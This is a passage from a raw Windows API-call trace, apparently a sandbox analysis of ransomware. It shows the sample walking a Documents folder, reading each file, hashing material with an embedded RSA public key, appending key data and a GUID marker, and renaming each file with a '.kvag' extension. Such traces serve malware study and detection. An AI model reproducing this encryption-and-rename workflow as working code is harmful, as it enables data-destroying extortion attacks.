hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x148e2, lpOverlapped=0x0) returned 1 [0119.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.381] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.382] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.382] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.382] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.382] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.382] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.382] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.382] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.382] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.382] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.383] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.383] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x148e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.383] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.383] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.383] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.384] CloseHandle (hObject=0x61c) returned 1 [0119.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\flz_m1D.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\flz_m1d.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\flz_m1D.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\flz_m1d.xlsx.kvag")) returned 1 [0119.386] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53d7c410, ftCreationTime.dwHighDateTime=0x1d4d4dc, ftLastAccessTime.dwLowDateTime=0xda2e8e0, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0xda2e8e0, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0x451d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GSo0hbTz23.rtf", cAlternateFileName="GSO0HB~1.RTF")) returned 1 [0119.386] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GSo0hbTz23.rtf") returned=".rtf" [0119.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GSo0hbTz23.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gso0hbtz23.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.386] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=17693) returned 1 [0119.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.388] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x44f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.388] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.390] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x451d, lpOverlapped=0x0) returned 1 [0119.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.390] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.391] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.391] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.391] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.391] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.391] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.391] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.391] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.391] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.391] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.391] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.392] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x451d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.392] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.392] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.392] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.392] CloseHandle (hObject=0x61c) returned 1 [0119.393] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GSo0hbTz23.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gso0hbtz23.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GSo0hbTz23.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gso0hbtz23.rtf.kvag")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f941600, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0x4e93870, ftLastAccessTime.dwHighDateTime=0x1d4c802, ftLastWriteTime.dwLowDateTime=0x4e93870, ftLastWriteTime.dwHighDateTime=0x1d4c802, nFileSizeHigh=0x0, nFileSizeLow=0x8531, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hqdY2gjPn5Eci.docx", cAlternateFileName="HQDY2G~1.DOC")) returned 1 [0119.394] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hqdY2gjPn5Eci.docx") returned=".docx" [0119.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hqdY2gjPn5Eci.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hqdy2gjpn5eci.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.394] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=34097) returned 1 [0119.394] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.412] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x850b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.412] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.414] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8531, lpOverlapped=0x0) returned 1 [0119.415] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.415] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.415] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.415] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.416] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.416] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.416] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.416] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.416] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.416] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.416] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.416] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.416] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.416] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.417] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8531, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.417] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.417] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.417] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.417] CloseHandle (hObject=0x61c) returned 1 [0119.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hqdY2gjPn5Eci.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hqdy2gjpn5eci.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hqdY2gjPn5Eci.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hqdy2gjpn5eci.docx.kvag")) returned 1 [0119.420] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc86f9c20, ftCreationTime.dwHighDateTime=0x1d4ce20, ftLastAccessTime.dwLowDateTime=0x2928f070, ftLastAccessTime.dwHighDateTime=0x1d4cb2e, ftLastWriteTime.dwLowDateTime=0x2928f070, ftLastWriteTime.dwHighDateTime=0x1d4cb2e, nFileSizeHigh=0x0, nFileSizeLow=0x5daf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i8DRxWeUJn.pdf", cAlternateFileName="I8DRXW~1.PDF")) returned 1 [0119.420] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i8DRxWeUJn.pdf") returned=".pdf" [0119.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i8DRxWeUJn.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i8drxweujn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.420] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=23983) returned 1 [0119.420] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.422] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5d89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.422] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.424] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5daf, lpOverlapped=0x0) returned 1 [0119.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.424] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.425] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.425] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.425] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.425] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.425] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.425] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.425] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.425] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.425] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.425] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.426] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.426] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.426] lstrlenA 